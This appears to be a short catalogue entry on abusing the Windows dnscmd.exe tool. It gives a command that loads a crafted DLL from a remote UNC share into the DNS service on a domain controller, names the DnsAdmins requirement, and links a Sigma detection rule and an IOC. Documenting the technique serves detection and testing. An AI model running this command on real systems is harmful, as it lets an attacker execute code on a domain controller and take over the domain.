A command-line interface for managing DNS servers
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
Remotely inject dll to dns server
C:\Windows\System32\Dnscmd.exe, C:\Windows\SysWOW64\Dnscmd.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml, IOC: Dnscmd.exe loading dll from UNC/arbitrary path
Shay Ber, Dimitrios Slamaris (@dim0x69), Nikhil SamratAshok (@nikhil_mitt)